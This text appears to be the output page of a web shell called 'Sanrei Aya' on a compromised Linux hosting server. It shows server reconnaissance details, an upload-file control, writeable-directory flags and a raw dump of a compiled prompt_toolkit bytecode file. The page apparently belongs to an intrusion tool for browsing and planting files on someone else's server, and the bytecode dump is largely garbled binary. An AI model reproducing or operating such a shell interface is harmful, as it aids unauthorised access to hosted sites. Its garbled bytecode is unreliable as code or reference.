Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/prompt_toolkit/input/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/prompt_toolkit/input/__pycache__/vt100.cpython-39.pyc
a

��Sh)�@sUddlmZddlZejdks$J�ddlZddlZddlZddlZddlm	Z	m
Z
ddlmZm
Z
mZmZddlmZdd	lmZdd
lmZddlmZgd�ZGd
d�de�ZiZded<ejdddd�dd��Zejddd�dd��ZGdd�d�ZGdd�de�Z dS)�)�annotationsN�win32)�AbstractEventLoop�get_running_loop)�Callable�ContextManager�	Generator�TextIO�)�KeyPress�)�Input)�PosixStdinReader)�Vt100Parser)�
Vt100Input�raw_mode�cooked_modec@s�eZdZUdZe�Zded<ddd�dd�Zd	d
d�dd
�Zd
d�dd�Z	dd�dd�Z
dd�dd�Zedd�dd��Z
d
d�dd�Zd
d�dd�Zdd�dd�Zd d�d!d"�Zd#S)$rzz
    Vt100 input for Posix systems.
    (This uses a posix file descriptor that can be registered in the event loop.)
    zset[int]�_fds_not_a_terminalr	�None)�stdin�returnc
s�z|��WnJtjyV}z0dtjvr6t�d�|�nt�d�|�WYd}~n
d}~00|��}|��}|s�|tjvr�d}tj�	||�tj�
�tj�|�|�_|���_
g�_t�j
|jd��_t�fdd���_dS)Nzidlelib.runz<Stdin is not a terminal. Running from Idle is not supported.zStdin is not a terminal.z*Warning: Input is not a terminal (fd=%r).
)�encodingcs�j�|�S�N)�_buffer�append)Z	key_press��self��D/usr/local/lib/python3.9/site-packages/prompt_toolkit/input/vt100.py�<lambda>J�z%Vt100Input.__init__.<locals>.<lambda>)�fileno�io�UnsupportedOperation�sys�modules�isattyrr�stderr�write�flush�addr�_filenorrr�stdin_readerr�vt100_parser)rr�er&�fd�msgrrr�__init__$s0
��"


�zVt100Input.__init__�Callable[[], None]zContextManager[None])�input_ready_callbackrcCs
t||�S)zj
        Return a context manager that makes this input active in the current
        event loop.
        )�_attached_input)rr3rrr�attachMszVt100Input.attach�rcCst|�S)z{
        Return a context manager that makes sure that this input is not active
        in the current event loop.
        )�_detached_inputrrrr�detachTszVt100Input.detachzlist[KeyPress]cCs&|j��}|j�|�|j}g|_|S)zRead list of KeyPress.)r,�readr-�feedr)r�data�resultrrr�	read_keys[s

zVt100Input.read_keyscCs|j��|j}g|_|S)zc
        Flush pending keys and return them.
        (Used for flushing the 'escape' key.)
        )r-r)r)rr<rrr�
flush_keyshs
zVt100Input.flush_keys�boolcCs|jjSr)r,�closedrrrrr@vszVt100Input.closedcCst|j���Sr)rrr!rrrrrzszVt100Input.raw_modecCst|j���Sr)rrr!rrrrr}szVt100Input.cooked_mode�intcCs
|j��Sr)rr!rrrrr!�szVt100Input.fileno�strcCsd|j��S)Nzfd-)r+rrrr�typeahead_hash�szVt100Input.typeahead_hashN)�__name__�
__module__�__qualname__�__doc__�setr�__annotations__r1r5r8r=r>�propertyr@rrr!rCrrrrrs
)
rz>dict[tuple[AbstractEventLoop, int], Callable[[], None] | None]�_current_callbacksr2zGenerator[None, None, None])�input�callbackrc
#s�t������t���f�}dd�����fdd�}z���|�WntyZt�Yn0�t��f<z<dVW����|r����|�|t��f<q�t��f=n4����|rΈ��|�|t��f<n
t��f=0dS)z�
    Context manager that makes this input active in the current event loop.

    :param input: :class:`~prompt_toolkit.input.Input` object.
    :param callback: Called when the input is ready to read.
    rr6cs�jr������dS)a:Wrapper around the callback that already removes the reader when
        the input is closed. Otherwise, we keep continuously calling this
        callback, until we leave the context manager (which can happen a bit
        later). This fixes issues when piping /dev/null into a prompt_toolkit
        application.N)r@�
remove_readerr�rMr/rL�looprr�callback_wrapper�s
z)_attached_input.<locals>.callback_wrapperN)rr!rK�get�
add_reader�PermissionError�EOFErrorrN)rLrM�previousrQrrOrr4�s*



�
r4)rLrc
cs�t�}|��}t�||f�}|r6|�|�dt||f<z&dVW|r||�||�|t||f<n|rz|�||�|t||f<0dSr)rr!rKrRrNrS)rLrPr/rVrrrr7�s
�r7c@sfeZdZdZddd�dd�Zdd�dd	�Zeddd
�dd��Zeddd
�d
d��Zddd�dd�Z	dS)rz�
    ::

        with raw_mode(stdin):
            ''' the pseudo-terminal stdin is now used in raw mode '''

    We ignore errors when executing `tcgetattr` fails.
    rAr)r!rcCs:||_|zt�|�|_Wntjy4d|_Yn0dSr)r!�termios�	tcgetattr�attrs_before�error)rr!rrrr1�szraw_mode.__init__r6cCsxzt�|j�}Wntjy$YnP0|�|tj�|tj<|�|tj�|tj<d|tj	tj
<t�|jtj|�dS)Nr)
rWrXr!rZ�_patch_lflag�ttyZLFLAG�_patch_iflagZIFLAG�CC�VMIN�	tcsetattr�TCSANOW)rZnewattrrrr�	__enter__�szraw_mode.__enter__��attrsrcCs|tjtjBtjBtjB@Sr�rW�ECHO�ICANON�IEXTEN�ISIG��clsrdrrrr[szraw_mode._patch_lflagcCs$|tjtjBtjBtjBtjB@Sr)rW�IXON�IXOFF�ICRNL�INLCR�IGNCRrjrrrr]s�����zraw_mode._patch_iflag�object)�arcGs<|jdur8zt�|jtj|j�Wntjy6Yn0dSr)rYrWr`r!rarZ)rrrrrr�__exit__s

zraw_mode.__exit__N)
rDrErFrGr1rb�classmethodr[r]rsrrrrr�s	rc@s8eZdZdZeddd�dd��Zeddd�dd��ZdS)	rz�
    The opposite of ``raw_mode``, used when we need cooked mode inside a
    `raw_mode` block.  Used in `Application.run_in_terminal`.::

        with cooked_mode(stdin):
            ''' the pseudo-terminal stdin is now used in cooked mode. '''
    rArccCs|tjtjBtjBtjBBSrrerjrrrr[+szcooked_mode._patch_lflagcCs
|tjBSr)rWrnrjrrrr]/szcooked_mode._patch_iflagN)rDrErFrGrtr[r]rrrrr"s
r)!�
__future__rr$�platform�
contextlibr"rWr\�asynciorr�typingrrrr	Zkey_bindingr�baser
Zposix_utilsrr-r�__all__rrKrI�contextmanagerr4r7rrrrrr�<module>s,o�
1R

Yohohohohohooho | Sanrei Aya